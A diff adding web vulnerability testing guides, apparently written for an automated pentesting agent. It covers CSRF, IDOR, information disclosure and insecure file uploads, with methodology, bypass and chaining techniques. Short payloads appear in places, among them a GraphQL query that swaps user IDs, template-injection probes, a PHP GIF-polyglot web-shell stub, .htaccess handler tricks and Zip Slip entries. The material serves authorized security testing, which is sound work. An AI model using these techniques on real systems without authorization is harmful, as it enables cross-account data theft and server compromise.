- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens.
|
||||
</header_manipulation>
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<mobile_spa>
|
||||
- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links.
|
||||
- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable.
|
||||
</mobile_spa>
|
||||
|
||||
<integrations>
|
||||
- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff; confirm CSRF defenses there too.
|
||||
</integrations>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- CSRF + IDOR: force actions on other users' resources once references are known.
|
||||
- CSRF + Clickjacking: guide user interactions to bypass UI confirmations.
|
||||
- CSRF + OAuth mix-up: bind victim sessions to unintended clients.
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting.
|
||||
2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified.
|
||||
3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch).
|
||||
4. Provide before/after state evidence for the same account.
|
||||
5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin).
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Token verification present and required; Origin/Referer enforced consistently.
|
||||
- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests.
|
||||
- Only idempotent, non-sensitive operations affected.
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Account state changes (email/password/MFA), session hijacking via login CSRF, financial operations, administrative actions.
|
||||
- Durable authorization changes (role/permission flips, key rotations) and data loss.
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available.
|
||||
2. Test login/logout, OAuth connect/disconnect, and account linking first.
|
||||
3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them.
|
||||
4. Toggle SameSite and observe differences across navigation vs XHR.
|
||||
5. For GraphQL, attempt GET queries or persisted queries that carry mutations.
|
||||
6. Always try method overrides and parser differentials.
|
||||
7. Combine with clickjacking when visual confirmations block CSRF.
|
||||
</pro_tips>
|
||||
|
||||
<remember>CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller’s origin. Tokens and Origin checks must hold across methods, content-types, and transports.</remember>
|
||||
</csrf_vulnerability_guide>
|
||||
@@ -0,0 +1,195 @@
|
||||
<idor_vulnerability_guide>
|
||||
<title>INSECURE DIRECT OBJECT REFERENCE (IDOR)</title>
|
||||
|
||||
<critical>Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.</critical>
|
||||
|
||||
<scope>
|
||||
- Horizontal access: access another subject's objects of the same type
|
||||
- Vertical access: access privileged objects/actions (admin-only, staff-only)
|
||||
- Cross-tenant access: break isolation boundaries in multi-tenant systems
|
||||
- Cross-service access: token or context accepted by the wrong service
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Build a Subject × Object × Action matrix (who can do what to which resource).
|
||||
2. For each resource type, obtain at least two principals: owner and non-owner (plus admin/staff if applicable). Capture at least one valid object ID per principal.
|
||||
3. Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants, and channels (web, mobile, API, GraphQL, WebSocket, gRPC).
|
||||
4. Track consistency: the same rule must hold regardless of transport, content-type, serialization, or gateway.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<parameter_analysis>
|
||||
- Object references appear in: paths, query params, JSON bodies, form-data, headers, cookies, JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
|
||||
- Identifier forms: integers, UUID/ULID/CUID, Snowflake, slugs, composite keys (e.g., {orgId}:{userId}), opaque tokens, base64/hex-encoded blobs
|
||||
- Relationship references: parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
|
||||
- Expansion/projection knobs: fields, include, expand, projection, with, select, populate (often bypass authorization in resolvers or serializers)
|
||||
- Pagination/cursors: page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state)
|
||||
</parameter_analysis>
|
||||
|
||||
<advanced_enumeration>
|
||||
- Alternate types: {% raw %}{"id":123}{% endraw} vs {% raw %}{"id":"123"}{% endraw}, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend
|
||||
- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys {% raw %}{"id":1,"id":2}{% endraw} (parser precedence differences)
|
||||
- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
|
||||
- Path traversal-like in virtual file systems: /files/user_123/../../user_456/report.csv
|
||||
- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
|
||||
</advanced_enumeration>
|
||||
</discovery_techniques>
|
||||
|
||||
<high_value_targets>
|
||||
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
|
||||
- Messaging/mailbox/notifications, audit logs, activity feeds
|
||||
- Billing: invoices, payment methods, transactions, credits
|
||||
- Healthcare/education records, HR documents, PII/PHI/PCI
|
||||
- Admin/staff tools, impersonation/session management
|
||||
- File/object storage keys (S3/GCS signed URLs, share links)
|
||||
- Background jobs: import/export job IDs, task results
|
||||
- Multi-tenant resources: organizations, workspaces, projects
|
||||
</high_value_targets>
|
||||
|
||||
<exploitation_techniques>
|
||||
<horizontal_vertical>
|
||||
- Swap object IDs between principals using the same token to probe horizontal access; then repeat with lower-privilege tokens to probe vertical access
|
||||
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
|
||||
</horizontal_vertical>
|
||||
|
||||
<bulk_and_batch>
|
||||
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
|
||||
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
|
||||
</bulk_and_batch>
|
||||
|
||||
<secondary_idor>
|
||||
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs, then fetch or mutate those objects directly
|
||||
- Pagination/cursor manipulation to skip filters and pull other users' pages
|
||||
</secondary_idor>
|
||||
|
||||
<job_task_objects>
|
||||
- Access job/task IDs from one user to retrieve results for another (export/{jobId}/download, reports/{taskId})
|
||||
- Cancel/approve someone else's jobs by referencing their task IDs
|
||||
</job_task_objects>
|
||||
|
||||
<file_object_storage>
|
||||
- Direct object paths or weakly scoped signed URLs; attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
|
||||
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
|
||||
</file_object_storage>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<graphql>
|
||||
- Enforce resolver-level checks: do not rely on a top-level gate. Verify field and edge resolvers bind the resource to the caller on every hop
|
||||
- Abuse batching/aliases to retrieve multiple users' nodes in one request and compare responses
|
||||
- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test {% raw %}node(id: "...base64..."){...}{% endraw %}
|
||||
- Overfetching via fragments on privileged types; verify hidden fields cannot be queried by unprivileged callers
|
||||
- Example:
|
||||
{% raw %}
|
||||
query IDOR {
|
||||
me { id }
|
||||
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
|
||||
u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
|
||||
}
|
||||
{% endraw %}
|
||||
</graphql>
|
||||
|
||||
<microservices_gateways>
|
||||
- Token confusion: a token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
|
||||
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like X-User-Id, X-Organization-Id; try overriding or removing them
|
||||
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
|
||||
</microservices_gateways>
|
||||
|
||||
<multi_tenant>
|
||||
- Probe tenant scoping through headers, subdomains, and path params (e.g., X-Tenant-ID, org slug). Try mixing org of token with resource from another org
|
||||
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
|
||||
</multi_tenant>
|
||||
|
||||
<uuid_and_opaque_ids>
|
||||
- UUID/ULID are not authorization: acquire valid IDs from logs, exports, JS bundles, analytics endpoints, emails, or public activity, then test ownership binding
|
||||
- Time-based IDs (UUIDv1, ULID) may be guessable within a window; combine with leakage sources for targeted access
|
||||
</uuid_and_opaque_ids>
|
||||
|
||||
<blind_channels>
|
||||
- Use differential responses (status, size, ETag, timing) to detect existence; error shape often differs for owned vs foreign objects
|
||||
- HEAD/OPTIONS, conditional requests (If-None-Match/If-Modified-Since) can confirm existence without full content
|
||||
</blind_channels>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<parser_and_transport>
|
||||
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data; some paths enforce checks per parser
|
||||
- Method tunneling: X-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changes
|
||||
- JSON duplicate keys/array injection to bypass naive validators
|
||||
</parser_and_transport>
|
||||
|
||||
<parameter_pollution>
|
||||
- Duplicate parameters in query/body to influence server-side precedence (id=123&id=456); try both orderings
|
||||
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
|
||||
</parameter_pollution>
|
||||
|
||||
<cache_and_gateway>
|
||||
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users; manipulate Vary and Accept
|
||||
- Redirect chains and 304/206 behaviors can leak content across tenants
|
||||
</cache_and_gateway>
|
||||
|
||||
<race_windows>
|
||||
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
|
||||
</race_windows>
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<websocket>
|
||||
- Authorization per-subscription: ensure channel/topic names cannot be guessed (user_{id}, org_{id}); subscribe/publish checks must run server-side, not only at handshake
|
||||
- Try sending messages with target user IDs after subscribing to own channels
|
||||
</websocket>
|
||||
|
||||
<grpc>
|
||||
- Direct protobuf fields (owner_id, tenant_id) often bypass HTTP-layer middleware; validate references via grpcurl with tokens from different principals
|
||||
</grpc>
|
||||
|
||||
<integrations>
|
||||
- Webhooks/callbacks referencing foreign objects (e.g., invoice_id) processed without verifying ownership
|
||||
- Third-party importers syncing data into wrong tenant due to missing tenant binding
|
||||
</integrations>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
|
||||
- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
|
||||
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
|
||||
- IDOR + Race: bypass spot checks with simultaneous requests
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
1. Demonstrate access to an object not owned by the caller (content or metadata).
|
||||
2. Show the same request fails with appropriately enforced authorization when corrected.
|
||||
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL).
|
||||
4. Document tenant boundary violations (if applicable).
|
||||
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner).
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Public/anonymous resources by design
|
||||
- Soft-privatized data where content is already public
|
||||
- Idempotent metadata lookups that do not reveal sensitive content
|
||||
- Correct row-level checks enforced across all channels
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Cross-account data exposure (PII/PHI/PCI)
|
||||
- Unauthorized state changes (transfers, role changes, cancellations)
|
||||
- Cross-tenant data leaks violating contractual and regulatory boundaries
|
||||
- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Always test list/search/export endpoints first; they are rich ID seeders.
|
||||
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles.
|
||||
3. Toggle content-types and transports; authorization middleware often differs per stack.
|
||||
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children.
|
||||
5. In multi-tenant apps, vary org headers, subdomains, and path params independently.
|
||||
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks.
|
||||
7. Inspect gateways for header trust and cache key configuration.
|
||||
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding.
|
||||
9. Use timing/size/ETag differentials for blind confirmation when content is masked.
|
||||
10. Prove impact with precise before/after diffs and role-separated evidence.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.</remember>
|
||||
</idor_vulnerability_guide>
|
||||
@@ -0,0 +1,222 @@
|
||||
<information_disclosure_vulnerability_guide>
|
||||
<title>INFORMATION DISCLOSURE</title>
|
||||
|
||||
<critical>Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.</critical>
|
||||
|
||||
<scope>
|
||||
- Errors and exception pages: stack traces, file paths, SQL, framework versions
|
||||
- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
|
||||
- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
|
||||
- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
|
||||
- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
|
||||
- Client bundles and source maps: webpack/Vite maps, embedded env, __NEXT_DATA__, static JSON
|
||||
- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
|
||||
- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
|
||||
- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
|
||||
- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
|
||||
- Cross-origin signals: CORS misconfig, Referrer-Policy leakage, Expose-Headers
|
||||
- File/document metadata: EXIF, PDF/Office properties
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Build a channel map: Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN.
|
||||
2. Establish a diff harness: compare owner vs non-owner vs anonymous across transports; normalize on status/body length/ETag/headers.
|
||||
3. Trigger controlled failures: send malformed types, boundary values, missing params, and alternate content-types to elicit error detail and stack traces.
|
||||
4. Enumerate artifacts: DVCS folders, backups, config endpoints, source maps, client bundles, API docs, observability routes.
|
||||
5. Correlate disclosures to impact: versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass, IDs→IDOR.
|
||||
</methodology>
|
||||
|
||||
<surfaces>
|
||||
<errors_and_exceptions>
|
||||
- SQL/ORM errors: reveal table/column names, DBMS, query fragments
|
||||
- Stack traces: absolute paths, class/method names, framework versions, developer emails
|
||||
- Template engine probes: {% raw %}{{7*7}}, ${7*7}{% endraw %} identify templating stack and code paths
|
||||
- JSON/XML parsers: type mismatches and coercion logs leak internal model names
|
||||
</errors_and_exceptions>
|
||||
|
||||
<debug_and_env_modes>
|
||||
- Debug pages and flags: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
|
||||
- Profiler endpoints: /debug/pprof, /actuator, /_profiler, custom /debug APIs
|
||||
- Feature/config toggles exposed in JS or headers; admin/staff banners in HTML
|
||||
</debug_and_env_modes>
|
||||
|
||||
<dvcs_and_backups>
|
||||
- DVCS: /.git/ (HEAD, config, index, objects), .svn/entries, .hg/store → reconstruct source and secrets
|
||||
- Backups/temp: .bak/.old/~/.swp/.swo/.tmp/.orig, db dumps, zipped deployments under /backup/, /old/, /archive/
|
||||
- Build artifacts: dist artifacts containing .map, env prints, internal URLs
|
||||
</dvcs_and_backups>
|
||||
|
||||
<configs_and_secrets>
|
||||
- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
|
||||
- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens, cloud credentials files
|
||||
- Credentials and connection strings; internal hosts and ports; JWT secrets
|
||||
</configs_and_secrets>
|
||||
|
||||
<api_schemas_and_introspection>
|
||||
- OpenAPI/Swagger: /swagger, /api-docs, /openapi.json — enumerate hidden/privileged operations
|
||||
- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields; persisted queries catalogs
|
||||
- gRPC: server reflection exposing services/messages; proto download via reflection
|
||||
</api_schemas_and_introspection>
|
||||
|
||||
<client_bundles_and_maps>
|
||||
- Source maps (.map) reveal original sources, comments, and internal logic
|
||||
- Client env leakage: NEXT_PUBLIC_/VITE_/REACT_APP_ variables; runtime config; embedded secrets accidentally shipped
|
||||
- Next.js data: __NEXT_DATA__ and pre-fetched JSON under /_next/data can include internal IDs, flags, or PII
|
||||
- Static JSON/CSV feeds used by the UI that bypass server-side auth filtering
|
||||
</client_bundles_and_maps>
|
||||
|
||||
<headers_and_response_metadata>
|
||||
- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
|
||||
- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
|
||||
- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range (partial content reveals)
|
||||
- Content sniffing and MIME metadata that implies backend components
|
||||
</headers_and_response_metadata>
|
||||
|
||||
<storage_and_exports>
|
||||
- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
|
||||
- Signed URLs: long-lived, weakly scoped, re-usable across tenants; metadata leaks in headers
|
||||
- Export/report endpoints returning foreign data sets or unfiltered fields
|
||||
</storage_and_exports>
|
||||
|
||||
<observability_and_admin>
|
||||
- Metrics: Prometheus /metrics exposing internal hostnames, process args, SQL, credentials by mistake
|
||||
- Health/config: /actuator/health, /actuator/env, Spring Boot info endpoints
|
||||
- Tracing UIs and dashboards: Jaeger/Zipkin/Kibana/Grafana exposed without auth
|
||||
</observability_and_admin>
|
||||
|
||||
<directory_and_indexing>
|
||||
- Autoindex on /uploads/, /files/, /logs/, /tmp/, /assets/
|
||||
- Robots/sitemap reveal hidden paths, admin panels, export feeds
|
||||
</directory_and_indexing>
|
||||
|
||||
<cross_origin_signals>
|
||||
- Referrer leakage: missing/referrer policy leading to path/query/token leaks to third parties
|
||||
- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
|
||||
</cross_origin_signals>
|
||||
|
||||
<file_metadata>
|
||||
- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
|
||||
</file_metadata>
|
||||
</surfaces>
|
||||
|
||||
<advanced_techniques>
|
||||
<differential_oracles>
|
||||
- Compare owner vs non-owner vs anonymous for the same resource and track: status, length, ETag, Last-Modified, Cache-Control
|
||||
- HEAD vs GET: header-only differences can confirm existence or type without content
|
||||
- Conditional requests: 304 vs 200 behaviors leak existence/state; binary search content size via Range requests
|
||||
</differential_oracles>
|
||||
|
||||
<cdn_and_cache_keys>
|
||||
- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers → cross-user cached responses
|
||||
- Vary misconfiguration: user-agent/language vary without auth vary leaks alternate content
|
||||
- 206 partial content + stale caches leak object fragments
|
||||
</cdn_and_cache_keys>
|
||||
|
||||
<cross_channel_mirroring>
|
||||
- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC; one channel leaks schema or fields hidden in others
|
||||
- SSR vs CSR: server-rendered pages omit fields while JSON API includes them; compare responses
|
||||
</cross_channel_mirroring>
|
||||
|
||||
<introspection_and_reflection>
|
||||
- GraphQL: disabled introspection still leaks via errors, fragment suggestions, and client bundles containing schema
|
||||
- gRPC reflection: list services/messages and infer internal resource names and flows
|
||||
</introspection_and_reflection>
|
||||
|
||||
<cloud_specific>
|
||||
- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
|
||||
- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
|
||||
</cloud_specific>
|
||||
</advanced_techniques>
|
||||
|
||||
<usefulness_assessment>
|
||||
- Actionable signals:
|
||||
- Secrets/keys/tokens that grant new access (DB creds, cloud keys, JWT signing/refresh, signed URL secrets)
|
||||
- Versions with a reachable, unpatched CVE on an exposed path
|
||||
- Cross-tenant identifiers/data or per-user fields that differ by principal
|
||||
- File paths, service hosts, or internal URLs that enable LFI/SSRF/RCE pivots
|
||||
- Cache/CDN differentials (Vary/ETag/Range) that expose other users' content
|
||||
- Schema/introspection revealing hidden operations or fields that return sensitive data
|
||||
- Likely benign or intended:
|
||||
- Public docs or non-sensitive metadata explicitly documented as public
|
||||
- Generic server names without precise versions or exploit path
|
||||
- Redacted/sanitized fields with stable length/ETag across principals
|
||||
- Per-user data visible only to the owner and consistent with privacy policy
|
||||
</usefulness_assessment>
|
||||
|
||||
<triage_rubric>
|
||||
- Critical: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
|
||||
- High: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content; schema enabling auth bypass
|
||||
- Medium: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints/IDs
|
||||
- Low: Generic headers, marketing versions, intended documentation without exploit path
|
||||
- Guidance: Always attempt a minimal, reversible proof for Critical/High; if no safe chain exists, document precise blocker and downgrade
|
||||
</triage_rubric>
|
||||
|
||||
<escalation_playbook>
|
||||
- If DVCS/backups/configs → extract secrets; test least-privileged read; rotate after coordinated disclosure
|
||||
- If versions → map to CVE; verify exposure; execute minimal PoC under strict scope
|
||||
- If schema/introspection → call hidden/privileged fields with non-owner tokens; confirm auth gaps
|
||||
- If source maps/client JSON → mine endpoints/IDs/flags; pivot to IDOR/listing; validate filtering
|
||||
- If cache/CDN keys → demonstrate cross-user cache leak via Vary/ETag/Range; escalate to broken access control
|
||||
- If paths/hosts → target LFI/SSRF with harmless reads (e.g., /etc/hostname, metadata headers); avoid destructive actions
|
||||
- If observability/admin → enumerate read-only info first; prove data scope breach; avoid write/exec operations
|
||||
</escalation_playbook>
|
||||
|
||||
<exploitation_chains>
|
||||
<credential_extraction>
|
||||
- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
|
||||
- Keys → cloud control plane access; rotate and verify scope
|
||||
</credential_extraction>
|
||||
|
||||
<version_to_cve>
|
||||
1. Derive precise component versions from headers/errors/bundles.
|
||||
2. Map to known CVEs and confirm reachability.
|
||||
3. Execute minimal proof targeting disclosed component.
|
||||
</version_to_cve>
|
||||
|
||||
<path_disclosure_to_lfi>
|
||||
1. Paths from stack traces/templates reveal filesystem layout.
|
||||
2. Use LFI/traversal to fetch config/keys.
|
||||
3. Prove controlled access without altering state.
|
||||
</path_disclosure_to_lfi>
|
||||
|
||||
<schema_to_auth_bypass>
|
||||
1. Schema reveals hidden fields/endpoints.
|
||||
2. Attempt requests with those fields; confirm missing authorization or field filtering.
|
||||
</schema_to_auth_bypass>
|
||||
</exploitation_chains>
|
||||
|
||||
<validation>
|
||||
1. Provide raw evidence (headers/body/artifact) and explain exact data revealed.
|
||||
2. Determine intent: cross-check docs/UX; classify per triage rubric (Critical/High/Medium/Low).
|
||||
3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain (what to try next and why).
|
||||
4. Show reproducibility and minimal request set; include cross-channel confirmation where applicable.
|
||||
5. Bound scope (user, tenant, environment) and data sensitivity classification.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Intentional public docs or non-sensitive metadata with no exploit path
|
||||
- Generic errors with no actionable details
|
||||
- Redacted fields that do not change differential oracles (length/ETag stable)
|
||||
- Version banners with no exposed vulnerable surface and no chain
|
||||
- Owner-visible-only details that do not cross identity/tenant boundaries
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
|
||||
- Credential/secret exposure leading to persistent external compromise
|
||||
- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
|
||||
- Privacy/regulatory violations and business intelligence leakage
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins.
|
||||
2. Normalize responses and diff by digest to reduce noise when comparing roles.
|
||||
3. Hunt source maps and client data JSON; they often carry internal IDs and flags.
|
||||
4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant.
|
||||
5. Treat introspection and reflection as configuration findings across GraphQL/gRPC; validate per environment.
|
||||
6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups.
|
||||
7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.</remember>
|
||||
</information_disclosure_vulnerability_guide>
|
||||
@@ -0,0 +1,188 @@
|
||||
<insecure_file_uploads_guide>
|
||||
<title>INSECURE FILE UPLOADS</title>
|
||||
|
||||
<critical>Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.</critical>
|
||||
|
||||
<scope>
|
||||
- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
|
||||
- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
|
||||
- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
|
||||
- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Map the pipeline: client → ingress (edge/app/gateway) → storage → processors (thumb, OCR, AV, CDR) → serving (app/storage/CDN). Note where validation and auth occur.
|
||||
2. Identify allowed types, size limits, filename rules, storage keys, and who serves the content. Collect baseline uploads per type and capture resulting URLs and headers.
|
||||
3. Exercise bypass families systematically: extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure, chunk/finalize differentials.
|
||||
4. Validate execution and rendering: can uploaded content execute on server or client? Confirm with minimal PoCs and headers analysis.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_map>
|
||||
- Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template
|
||||
- Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control
|
||||
- Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late
|
||||
- Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions
|
||||
</surface_map>
|
||||
|
||||
<capability_probes>
|
||||
- Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download
|
||||
- Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing
|
||||
- SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)?
|
||||
- Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules
|
||||
</capability_probes>
|
||||
</discovery_techniques>
|
||||
|
||||
<detection_channels>
|
||||
<server_execution>
|
||||
- Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution
|
||||
- Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool)
|
||||
</server_execution>
|
||||
|
||||
<client_execution>
|
||||
- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
|
||||
</client_execution>
|
||||
|
||||
<header_and_render>
|
||||
- Missing X-Content-Type-Options: nosniff enabling browser sniff to script
|
||||
- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
|
||||
</header_and_render>
|
||||
|
||||
<process_side_effects>
|
||||
- AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning
|
||||
</process_side_effects>
|
||||
</detection_channels>
|
||||
|
||||
<core_payloads>
|
||||
<web_shells_and_configs>
|
||||
- PHP: GIF polyglot (starts with GIF89a) followed by <?php echo 1; ?>; place where PHP is executed
|
||||
- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
|
||||
- ASP/JSP equivalents where supported; IIS web.config to enable script execution
|
||||
</web_shells_and_configs>
|
||||
|
||||
<stored_xss>
|
||||
- SVG with onload/onerror handlers served as image/svg+xml or text/html
|
||||
- HTML file with script when served as text/html or sniffed due to missing nosniff
|
||||
</stored_xss>
|
||||
|
||||
<mime_magic_polyglots>
|
||||
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
||||
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
||||
</mime_magic_polyglots>
|
||||
|
||||
<archive_attacks>
|
||||
- Zip Slip: entries with ../../ to escape extraction dir; symlink-in-zip pointing outside target; nested zips
|
||||
- Zip bomb: extreme compression ratios (e.g., 42.zip) to exhaust resources in processors
|
||||
</archive_attacks>
|
||||
|
||||
<toolchain_exploits>
|
||||
- ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files
|
||||
- Ghostscript in PDF/PS with file operators (%pipe%)
|
||||
- ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields
|
||||
</toolchain_exploits>
|
||||
|
||||
<cloud_storage_vectors>
|
||||
- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
|
||||
- Public-read ACL or permissive bucket policies expose uploads broadly; object key injection via user-controlled path prefixes
|
||||
- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
|
||||
</cloud_storage_vectors>
|
||||
</core_payloads>
|
||||
|
||||
<advanced_techniques>
|
||||
<resumable_multipart>
|
||||
- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
|
||||
